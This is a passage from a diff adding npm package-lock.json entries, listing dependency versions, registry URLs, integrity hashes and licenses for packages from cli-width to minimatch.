"4.1.0", + "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-4.1.0.tgz", + "integrity": "sha512-ouuZd4/dm2Sw5Gmqy6bGyNNNe1qt9RpmxveLSO7KcgsTnU7RXfsw+/bukWGo1abgBiMAic068rclZsO4IWmmxQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">= 12" + } + }, + "node_modules/cliui": { + "version": "8.0.1", + "resolved": "https://registry.npmjs.org/cliui/-/cliui-8.0.1.tgz", + "integrity": "sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==", + "dev": true, + "license": "ISC", + "dependencies": { + "string-width": "^4.2.0", + "strip-ansi": "^6.0.1", + "wrap-ansi": "^7.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/cliui/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/cliui/node_modules/emoji-regex": { + "version": "8.0.0", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz", + "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==", + "dev": true, + "license": "MIT" + }, + "node_modules/cliui/node_modules/string-width": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz", + "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==", + "dev": true, + "license": "MIT", + "dependencies": { + "emoji-regex": "^8.0.0", + "is-fullwidth-code-point": "^3.0.0", + "strip-ansi": "^6.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui/node_modules/strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-regex": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/cliui/node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/clsx": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz", + "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==", + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true, + "license": "MIT" + }, + "node_modules/combined-stream": { + "version": "1.0.8", + "resolved": "https://registry.npmjs.org/combined-stream/-/combined-stream-1.0.8.tgz", + "integrity": "sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==", + "dev": true, + "license": "MIT", + "dependencies": { + "delayed-stream": "~1.0.0" + }, + "engines": { + "node": ">= 0.8" + } + }, + "node_modules/commander": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz", + "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 6" + } + }, + "node_modules/convert-source-map": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/convert-source-map/-/convert-source-map-2.0.0.tgz", + "integrity": "sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cookie": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/cookie/-/cookie-1.1.1.tgz", + "integrity": "sha512-ei8Aos7ja0weRpFzJnEA9UHJ/7XQmqglbRwnf2ATjcB9Wq874VKH9kfjjirM6UhU2/E5fFYadylyhFldcqSidQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=18" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/express" + } + }, + "node_modules/cross-spawn": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.6.tgz", + "integrity": "sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==", + "dev": true, + "license": "MIT", + "dependencies": { + "path-key": "^3.1.0", + "shebang-command": "^2.0.0", + "which": "^2.0.1" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/css.escape": { + "version": "1.5.1", + "resolved": "https://registry.npmjs.org/css.escape/-/css.escape-1.5.1.tgz", + "integrity": "sha512-YUifsXXuknHlUsmlgyY0PKzgPOr7/FjCePfHNt0jxm83wHZi44VDMQ7/fGNkjY3/jV1MC+1CmZbaHzugyeRtpg==", + "dev": true, + "license": "MIT" + }, + "node_modules/cssesc": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz", + "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==", + "dev": true, + "license": "MIT", + "bin": { + "cssesc": "bin/cssesc" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/cssstyle": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/cssstyle/-/cssstyle-4.6.0.tgz", + "integrity": "sha512-2z+rWdzbbSZv6/rhtvzvqeZQHrBaqgogqt85sqFNbabZOuFbCVFb8kPeEtZjiKkbrm395irpNKiYeFeLiQnFPg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@asamuzakjp/css-color": "^3.2.0", + "rrweb-cssom": "^0.8.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/cssstyle/node_modules/rrweb-cssom": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/rrweb-cssom/-/rrweb-cssom-0.8.0.tgz", + "integrity": "sha512-guoltQEx+9aMf2gDZ0s62EcV8lsXR+0w8915TC3ITdn2YueuNjdAYh/levpU9nFaoChh9RUS5ZdQMrKfVEN9tw==", + "dev": true, + "license": "MIT" + }, + "node_modules/csstype": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.2.3.tgz", + "integrity": "sha512-z1HGKcYy2xA8AGQfwrn0PAy+PB7X/GSj3UVJW9qKyn43xWa+gl5nXmU4qqLMRzWVLFC8KusUX8T/0kCiOYpAIQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/data-urls": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/data-urls/-/data-urls-5.0.0.tgz", + "integrity": "sha512-ZYP5VBHshaDAiVZxjbRVcFJpc+4xGgT0bK3vzy1HLN8jTO975HEbuYzZJcHoQEY5K1a0z8YayJkyVETa08eNTg==", + "dev": true, + "license": "MIT", + "dependencies": { + "whatwg-mimetype": "^4.0.0", + "whatwg-url": "^14.0.0" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/debug": { + "version": "4.4.3", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz", + "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.3" + }, + "engines": { + "node": ">=6.0" + }, + "peerDependenciesMeta": { + "supports-color": { + "optional": true + } + } + }, + "node_modules/decimal.js": { + "version": "10.6.0", + "resolved": "https://registry.npmjs.org/decimal.js/-/decimal.js-10.6.0.tgz", + "integrity": "sha512-YpgQiITW3JXGntzdUmyUR1V812Hn8T1YVXhCu+wO3OpS4eU9l4YdD3qjyiKdV6mvV29zapkMeD390UVEf2lkUg==", + "dev": true, + "license": "MIT" + }, + "node_modules/deep-eql": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/deep-eql/-/deep-eql-5.0.2.tgz", + "integrity": "sha512-h5k/5U50IJJFpzfL6nO9jaaumfjO/f2NjK/oYB2Djzm4p9L+3T9qWpZqZ2hAbLPuuYq9wrU08WQyBTL5GbPk5Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/delayed-stream": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/delayed-stream/-/delayed-stream-1.0.0.tgz", + "integrity": "sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/dequal": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/dequal/-/dequal-2.0.3.tgz", + "integrity": "sha512-0je+qPKHEMohvfRTCEo3CrPG6cAzAYgmzKyxRiYSSDkS6eGJdyVJm7WaYA5ECaAD9wLB2T4EEeymA5aFVcYXCA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/didyoumean": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/didyoumean/-/didyoumean-1.2.2.tgz", + "integrity": "sha512-gxtyfqMg7GKyhQmb056K7M3xszy/myH8w+B4RT+QXBQsvAOdc3XymqDDPHx1BgPgsdAA5SIifona89YtRATDzw==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/dlv": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/dlv/-/dlv-1.1.3.tgz", + "integrity": "sha512-+HlytyjlPKnIG8XuRG8WvmBP8xs8P71y+SKKS6ZXWoEgLuePxtDoUEiH7WkdePWrQ5JBpE6aoVqfZfJUQkjXwA==", + "dev": true, + "license": "MIT" + }, + "node_modules/dom-accessibility-api": { + "version": "0.5.16", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.5.16.tgz", + "integrity": "sha512-X7BJ2yElsnOJ30pZF4uIIDfBEVgF4XEBxL9Bxhy6dnrm5hkzqmsWHGTiHqRiITNhMyFLyAiWndIJP7Z1NTteDg==", + "dev": true, + "license": "MIT", + "peer": true + }, + "node_modules/dunder-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/dunder-proto/-/dunder-proto-1.0.1.tgz", + "integrity": "sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.1", + "es-errors": "^1.3.0", + "gopd": "^1.2.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/eastasianwidth": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/eastasianwidth/-/eastasianwidth-0.2.0.tgz", + "integrity": "sha512-I88TYZWc9XiYHRQ4/3c5rjjfgkjhLyW2luGIheGERbNQ6OY7yTybanSpDXZa8y7VUP9YmDcYa+eyq4ca7iLqWA==", + "dev": true, + "license": "MIT" + }, + "node_modules/electron-to-chromium": { + "version": "1.5.368", + "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.368.tgz", + "integrity": "sha512-7RckJJK4uESJF9PxvfMWd3TGqIiieUTG4HxnKaKuIpGbcr+r2ZEB3g2gAhCP3Fqm42vJSzLfgab9eva/C4/XVw==", + "dev": true, + "license": "ISC" + }, + "node_modules/emoji-regex": { + "version": "9.2.2", + "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz", + "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==", + "dev": true, + "license": "MIT" + }, + "node_modules/entities": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/entities/-/entities-6.0.1.tgz", + "integrity": "sha512-aN97NXWF6AWBTahfVOIrB/NShkzi5H7F9r1s9mD3cDj4Ko5f2qhhVoYMibXF7GlLveb/D2ioWay8lxI97Ven3g==", + "dev": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=0.12" + }, + "funding": { + "url": "https://github.com/fb55/entities?sponsor=1" + } + }, + "node_modules/es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-module-lexer": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz", + "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==", + "dev": true, + "license": "MIT" + }, + "node_modules/es-object-atoms": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.2.tgz", + "integrity": "sha512-HWcBoN6NileqtSydK2FqHbS/LoDd2pqrnQHLyJzBj4kOp/ky2MWMN694xOfkK8/SnUsW2DH7EfyVlydKCsm1Zw==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/esbuild": { + "version": "0.25.12", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz", + "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "bin": { + "esbuild": "bin/esbuild" + }, + "engines": { + "node": ">=18" + }, + "optionalDependencies": { + "@esbuild/aix-ppc64": "0.25.12", + "@esbuild/android-arm": "0.25.12", + "@esbuild/android-arm64": "0.25.12", + "@esbuild/android-x64": "0.25.12", + "@esbuild/darwin-arm64": "0.25.12", + "@esbuild/darwin-x64": "0.25.12", + "@esbuild/freebsd-arm64": "0.25.12", + "@esbuild/freebsd-x64": "0.25.12", + "@esbuild/linux-arm": "0.25.12", + "@esbuild/linux-arm64": "0.25.12", + "@esbuild/linux-ia32": "0.25.12", + "@esbuild/linux-loong64": "0.25.12", + "@esbuild/linux-mips64el": "0.25.12", + "@esbuild/linux-ppc64": "0.25.12", + "@esbuild/linux-riscv64": "0.25.12", + "@esbuild/linux-s390x": "0.25.12", + "@esbuild/linux-x64": "0.25.12", + "@esbuild/netbsd-arm64": "0.25.12", + "@esbuild/netbsd-x64": "0.25.12", + "@esbuild/openbsd-arm64": "0.25.12", + "@esbuild/openbsd-x64": "0.25.12", + "@esbuild/openharmony-arm64": "0.25.12", + "@esbuild/sunos-x64": "0.25.12", + "@esbuild/win32-arm64": "0.25.12", + "@esbuild/win32-ia32": "0.25.12", + "@esbuild/win32-x64": "0.25.12" + } + }, + "node_modules/escalade": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz", + "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/estree-walker": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/estree-walker/-/estree-walker-3.0.3.tgz", + "integrity": "sha512-7RUKfXgSMMkzt6ZuXmqapOurLGPPfgj6l9uRZ7lRGolvk0y2yocc35LdcxKC5PQZdn2DMqioAQ2NoWcrTKmm6g==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/estree": "^1.0.0" + } + }, + "node_modules/expect-type": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/expect-type/-/expect-type-1.3.0.tgz", + "integrity": "sha512-knvyeauYhqjOYvQ66MznSMs83wmHrCycNEN6Ao+2AeYEfxUIkuiVxdEa1qlGEPK+We3n0THiDciYSsCcgW/DoA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=12.0.0" + } + }, + "node_modules/fast-glob": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "^2.0.2", + "@nodelib/fs.walk": "^1.2.3", + "glob-parent": "^5.1.2", + "merge2": "^1.3.0", + "micromatch": "^4.0.8" + }, + "engines": { + "node": ">=8.6.0" + } + }, + "node_modules/fast-glob/node_modules/glob-parent": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", + "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.1" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fast-string-truncated-width": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/fast-string-truncated-width/-/fast-string-truncated-width-3.0.3.tgz", + "integrity": "sha512-0jjjIEL6+0jag3l2XWWizO64/aZVtpiGE3t0Zgqxv0DPuxiMjvB3M24fCyhZUO4KomJQPj3LTSUnDP3GpdwC0g==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-string-width": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/fast-string-width/-/fast-string-width-3.0.2.tgz", + "integrity": "sha512-gX8LrtNEI5hq8DVUfRQMbr5lpaS4nMIWV+7XEbXk2b8kiQIizgnlr12B4dA3ZEx3308ze0O4Q1R+cHts8kyUJg==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-string-truncated-width": "^3.0.2" + } + }, + "node_modules/fast-wrap-ansi": { + "version": "0.2.2", + "resolved": "https://registry.npmjs.org/fast-wrap-ansi/-/fast-wrap-ansi-0.2.2.tgz", + "integrity": "sha512-7F2Fl+TjRSenLqlU3UjSH0iyqopqoZIu7eZVpEirP2g1GtWa2G/ecEmBdgz31+Mxr+ELclgg6sokpSFIQiZ02Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-string-width": "^3.0.2" + } + }, + "node_modules/fastq": { + "version": "1.20.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.20.1.tgz", + "integrity": "sha512-GGToxJ/w1x32s/D2EKND7kTil4n8OVk/9mycTc4VDza13lOvpUZTGX3mFSCtV9ksdGBVzvsyAVLM6mHFThxXxw==", + "dev": true, + "license": "ISC", + "dependencies": { + "reusify": "^1.0.4" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "dev": true, + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/form-data": { + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz", + "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==", + "dev": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "hasown": "^2.0.2", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/fraction.js": { + "version": "5.3.4", + "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz", + "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/rawify" + } + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/gensync": { + "version": "1.0.0-beta.2", + "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz", + "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/get-caller-file": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz", + "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==", + "dev": true, + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/glob": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/glob/-/glob-10.5.0.tgz", + "integrity": "sha512-DfXN8DfhJ7NH3Oe7cFmu3NCu1wKbkReJ8TorzSAFbSKrlNaQSKfIzqYqVY8zlbs2NLBbWpRiU52GX2PbaBVNkg==", + "deprecated": "Old versions of glob are not supported, and contain widely publicized security vulnerabilities, which have been fixed in the current version. Please update. Support for old versions may be purchased (at exorbitant rates) by contacting i@izs.me", + "dev": true, + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob/node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/glob/node_modules/brace-expansion": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.1.1.tgz", + "integrity": "sha512-WR1cURNjuvBLMZBMbqM0UoE+WAfdUcEV1ccD8PVBVOI+Z3ND4+SZbN8RsfT2bMuG1qwz5RFvPukSZm5fF2D5eA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/glob/node_modules/minimatch": { + "version": "9.0.9", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-9.0.9.tgz", + "integrity": 